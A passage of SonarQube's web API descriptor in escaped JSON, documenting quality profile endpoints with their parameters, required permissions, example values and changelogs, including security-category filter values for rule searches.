\u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;languages\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of languages\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;java,js\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;owaspTop10\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of OWASP Top 10 2017 lowercase categories.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.3\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;a1\u0026#34;, \u0026#34;a2\u0026#34;, \u0026#34;a3\u0026#34;, \u0026#34;a4\u0026#34;, \u0026#34;a5\u0026#34;, \u0026#34;a6\u0026#34;, \u0026#34;a7\u0026#34;, \u0026#34;a8\u0026#34;, \u0026#34;a9\u0026#34;, \u0026#34;a10\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;owaspTop10-2021\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of OWASP Top 10 2021 lowercase categories.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.4\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;a1\u0026#34;, \u0026#34;a2\u0026#34;, \u0026#34;a3\u0026#34;, \u0026#34;a4\u0026#34;, \u0026#34;a5\u0026#34;, \u0026#34;a6\u0026#34;, \u0026#34;a7\u0026#34;, \u0026#34;a8\u0026#34;, \u0026#34;a9\u0026#34;, \u0026#34;a10\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;UTF-8 search query\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;xpath\u0026#34;, \u0026#34;minimumLength\u0026#34;: 2 }, { \u0026#34;key\u0026#34;: \u0026#34;qprofile\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile key to filter on. Used only if the parameter \u0026#39;activation\u0026#39; is set.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;repositories\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of repositories\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;java,html\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;rule_key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Key of rule to search for\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;java:S1144\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;s\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Sort field\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;name\u0026#34;, \u0026#34;createdAt\u0026#34;, \u0026#34;updatedAt\u0026#34;, \u0026#34;key\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;sansTop25\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of SANS Top 25 categories.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.3\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.0\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;insecure-interaction\u0026#34;, \u0026#34;risky-resource\u0026#34;, \u0026#34;porous-defenses\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;severities\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of default severities. Not the same than severity of rules in Quality profiles.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;CRITICAL,BLOCKER\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;INFO\u0026#34;, \u0026#34;MINOR\u0026#34;, \u0026#34;MAJOR\u0026#34;, \u0026#34;CRITICAL\u0026#34;, \u0026#34;BLOCKER\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;sonarsourceSecurity\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of SonarSource security categories. Use \u0026#39;others\u0026#39; to select rules not associated with any category\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.8\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;sql-injection,command-injection,others\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;buffer-overflow\u0026#34;, \u0026#34;sql-injection\u0026#34;, \u0026#34;rce\u0026#34;, \u0026#34;object-injection\u0026#34;, \u0026#34;command-injection\u0026#34;, \u0026#34;path-traversal-injection\u0026#34;, \u0026#34;ldap-injection\u0026#34;, \u0026#34;xpath-injection\u0026#34;, \u0026#34;log-injection\u0026#34;, \u0026#34;xxe\u0026#34;, \u0026#34;xss\u0026#34;, \u0026#34;dos\u0026#34;, \u0026#34;ssrf\u0026#34;, \u0026#34;csrf\u0026#34;, \u0026#34;http-response-splitting\u0026#34;, \u0026#34;open-redirect\u0026#34;, \u0026#34;weak-cryptography\u0026#34;, \u0026#34;auth\u0026#34;, \u0026#34;insecure-conf\u0026#34;, \u0026#34;file-manipulation\u0026#34;, \u0026#34;encrypt-data\u0026#34;, \u0026#34;traceability\u0026#34;, \u0026#34;permission\u0026#34;, \u0026#34;others\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;statuses\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of status codes\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;READY\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;BETA\u0026#34;, \u0026#34;DEPRECATED\u0026#34;, \u0026#34;READY\u0026#34;, \u0026#34;REMOVED\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;tags\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of tags. Returned rules match any of the tags (OR operator)\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;security,java8\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;targetKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality Profile key on which the rule deactivation is done. To retrieve a profile key please see \\u003Ccode\\u003Eapi/qualityprofiles/search\\u003C/code\\u003E\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-TpxcA-iU5OvuD2FL1\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;template_key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Key of the template rule to filter on. Used to search for the custom rules based on this template.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;java:S001\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;types\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of types. Returned rules match any of the tags (OR operator)\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.5\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;BUG\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;CODE_SMELL\u0026#34;, \u0026#34;BUG\u0026#34;, \u0026#34;VULNERABILITY\u0026#34;, \u0026#34;SECURITY_HOTSPOT\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;delete\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Delete a quality profile and all its descendants. The default quality profile cannot be deleted.\\u003Cbr\\u003E Requires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;Administer Quality Profiles\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003EEdit right on the specified quality profile\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;language\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile language.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;kubernetes\u0026#34;, \u0026#34;css\u0026#34;, \u0026#34;scala\u0026#34;, \u0026#34;jsp\u0026#34;, \u0026#34;py\u0026#34;, \u0026#34;js\u0026#34;, \u0026#34;docker\u0026#34;, \u0026#34;java\u0026#34;, \u0026#34;web\u0026#34;, \u0026#34;flex\u0026#34;, \u0026#34;xml\u0026#34;, \u0026#34;json\u0026#34;, \u0026#34;text\u0026#34;, \u0026#34;vbnet\u0026#34;, \u0026#34;cloudformation\u0026#34;, \u0026#34;grvy\u0026#34;, \u0026#34;yaml\u0026#34;, \u0026#34;go\u0026#34;, \u0026#34;kotlin\u0026#34;, \u0026#34;neutral\u0026#34;, \u0026#34;secrets\u0026#34;, \u0026#34;ruby\u0026#34;, \u0026#34;cs\u0026#34;, \u0026#34;php\u0026#34;, \u0026#34;terraform\u0026#34;, \u0026#34;azureresourcemanager\u0026#34;, \u0026#34;ts\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;qualityProfile\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile name.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Sonar way\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;export\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Export a quality profile.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;exporterKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Output format. If left empty, the same format as api/qualityprofiles/backup is used. Possible values are described by api/qualityprofiles/exporters.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;sonarlint-vs-vbnet\u0026#34;, \u0026#34;sonarlint-vs-cs\u0026#34;, \u0026#34;roslyn-vbnet\u0026#34;, \u0026#34;roslyn-cs\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;language\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile language\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;neutral\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;azureresourcemanager\u0026#34;, \u0026#34;cloudformation\u0026#34;, \u0026#34;cs\u0026#34;, \u0026#34;css\u0026#34;, \u0026#34;docker\u0026#34;, \u0026#34;flex\u0026#34;, \u0026#34;go\u0026#34;, \u0026#34;grvy\u0026#34;, \u0026#34;java\u0026#34;, \u0026#34;js\u0026#34;, \u0026#34;json\u0026#34;, \u0026#34;jsp\u0026#34;, \u0026#34;kotlin\u0026#34;, \u0026#34;kubernetes\u0026#34;, \u0026#34;neutral\u0026#34;, \u0026#34;php\u0026#34;, \u0026#34;py\u0026#34;, \u0026#34;ruby\u0026#34;, \u0026#34;scala\u0026#34;, \u0026#34;secrets\u0026#34;, \u0026#34;terraform\u0026#34;, \u0026#34;text\u0026#34;, \u0026#34;ts\u0026#34;, \u0026#34;vbnet\u0026#34;, \u0026#34;web\u0026#34;, \u0026#34;xml\u0026#34;, \u0026#34;yaml\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;qualityProfile\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile name to export. If left empty, the default profile for the language is exported.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;My Sonar way\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;exporters\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Lists available profile export formats.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [] }, { \u0026#34;key\u0026#34;: \u0026#34;importers\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List supported importers.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [] }, { \u0026#34;key\u0026#34;: \u0026#34;inheritance\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Show a quality profile\u0026#39;s ancestors and children.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;inactiveRuleCount\u0026#39; added to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;language\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile language.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;kubernetes\u0026#34;, \u0026#34;css\u0026#34;, \u0026#34;scala\u0026#34;, \u0026#34;jsp\u0026#34;, \u0026#34;py\u0026#34;, \u0026#34;js\u0026#34;, \u0026#34;docker\u0026#34;, \u0026#34;java\u0026#34;, \u0026#34;web\u0026#34;, \u0026#34;flex\u0026#34;, \u0026#34;xml\u0026#34;, \u0026#34;json\u0026#34;, \u0026#34;text\u0026#34;, \u0026#34;vbnet\u0026#34;, \u0026#34;cloudformation\u0026#34;, \u0026#34;grvy\u0026#34;, \u0026#34;yaml\u0026#34;, \u0026#34;go\u0026#34;, \u0026#34;kotlin\u0026#34;, \u0026#34;neutral\u0026#34;, \u0026#34;secrets\u0026#34;, \u0026#34;ruby\u0026#34;, \u0026#34;cs\u0026#34;, \u0026#34;php\u0026#34;, \u0026#34;terraform\u0026#34;, \u0026#34;azureresourcemanager\u0026#34;, \u0026#34;ts\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;qualityProfile\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile name.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Sonar way\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;projects\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List projects with their association status regarding a quality profile. \\u003Cbr/\\u003EOnly projects explicitly bound to the profile are returned, those associated with the profile because it is the default one are not. \\u003Cbr/\\u003ESee api/qualityprofiles/search in order to get the Quality Profile Key. \u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;deprecated \u0026#39;more\u0026#39; response field has been removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;deprecated \u0026#39;id\u0026#39; response field has been removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;deprecated \u0026#39;uuid\u0026#39; response field has been removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;more\u0026#39; response field is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;id\u0026#39; response field is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;uuid\u0026#39; response field is deprecated and replaced by \u0026#39;id\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;key\u0026#39; response field has been added to return the project key\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.0\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0 and less or equal than 500\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;100\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;maximumValue\u0026#34;: 500 }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Limit search to projects that contain the supplied string.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;sonar\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;selected\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Depending on the value, show only selected items (selected=selected), deselected items (selected=deselected), or all items with their selection status (selected=all).\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;selected\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;all\u0026#34;, \u0026#34;deselected\u0026#34;, \u0026#34;selected\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;remove_project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Remove a project\u0026#39;s association with a quality profile.\\u003Cbr\\u003E Requires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;Administer Quality Profiles\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003EEdit right on the specified quality profile\\u003C/li\\u003E \\u003Cli\\u003EAdminister right on the specified project\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;language\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile language.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;kubernetes\u0026#34;, \u0026#34;css\u0026#34;, \u0026#34;scala\u0026#34;, \u0026#34;jsp\u0026#34;, \u0026#34;py\u0026#34;, \u0026#34;js\u0026#34;, \u0026#34;docker\u0026#34;, \u0026#34;java\u0026#34;, \u0026#34;web\u0026#34;, \u0026#34;flex\u0026#34;, \u0026#34;xml\u0026#34;, \u0026#34;json\u0026#34;, \u0026#34;text\u0026#34;, \u0026#34;vbnet\u0026#34;, \u0026#34;cloudformation\u0026#34;, \u0026#34;grvy\u0026#34;, \u0026#34;yaml\u0026#34;, \u0026#34;go\u0026#34;, \u0026#34;kotlin\u0026#34;, \u0026#34;neutral\u0026#34;, \u0026#34;secrets\u0026#34;, \u0026#34;ruby\u0026#34;, \u0026#34;cs\u0026#34;, \u0026#34;php\u0026#34;, \u0026#34;terraform\u0026#34;, \u0026#34;azureresourcemanager\u0026#34;, \u0026#34;ts\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;qualityProfile\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile name.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Sonar way\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;rename\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Rename a quality profile.\\u003Cbr\\u003E Requires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;Administer Quality Profiles\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003EEdit right on the specified quality profile\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;New quality profile name\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;My Sonar way\u0026#34;, \u0026#34;maximumLength\u0026#34;: 100 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;restore\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Restore a quality profile using an XML file. The restored profile name is taken from the backup file, so if a profile with the same name and language already exists, it will be overwritten.\\u003Cbr\\u003E Requires to be logged in and the \u0026#39;Administer Quality Profiles\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The \u0026#39;priority\u0026#39; and \u0026#39;type\u0026#39; fields of the rule XML object are deprecated.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;backup\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;A profile backup file in XML format, as generated by api/qualityprofiles/backup or the former api/profiles/backup.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false } ] }, { \u0026#34;key\u0026#34;: \u0026#34;search\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Search quality profiles\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Remove deprecated parameter \u0026#39;project_key\u0026#39;. Please use \u0026#39;project\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add available actions \u0026#39;delete\u0026#39; and \u0026#39;associateProjects\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add available actions \u0026#39;edit\u0026#39;, \u0026#39;copy\u0026#39; and \u0026#39;setAsDefault\u0026#39; and global action \u0026#39;create\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The parameters \u0026#39;defaults\u0026#39;, \u0026#39;project\u0026#39; and \u0026#39;language\u0026#39; can be combined without any constraint\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.5\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;defaults\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;If set to true, return only the quality profiles marked as default for each language\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;false\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;language\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Language key. If provided, only profiles for the given language are returned.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;azureresourcemanager\u0026#34;, \u0026#34;cloudformation\u0026#34;, \u0026#34;cs\u0026#34;, \u0026#34;css\u0026#34;, \u0026#34;docker\u0026#34;, \u0026#34;flex\u0026#34;, \u0026#34;go\u0026#34;, \u0026#34;grvy\u0026#34;, \u0026#34;java\u0026#34;, \u0026#34;js\u0026#34;, \u0026#34;json\u0026#34;, \u0026#34;jsp\u0026#34;, \u0026#34;kotlin\u0026#34;, \u0026#34;kubernetes\u0026#34;, \u0026#34;neutral\u0026#34;, \u0026#34;php\u0026#34;, \u0026#34;py\u0026#34;, \u0026#34;ruby\u0026#34;, \u0026#34;scala\u0026#34;, \u0026#34;secrets\u0026#34;, \u0026#34;terraform\u0026#34;, \u0026#34;text\u0026#34;, \u0026#34;ts\u0026#34;, \u0026#34;vbnet\u0026#34;, \u0026#34;web\u0026#34;, \u0026#34;xml\u0026#34;, \u0026#34;yaml\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;qualityProfile\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile name\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;SonarQube Way\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;set_default\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Select the default profile for a given language.\\u003Cbr\\u003E Requires to be logged in and the \u0026#39;Administer Quality Profiles\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;language\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile language.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;kubernetes\u0026#34;, 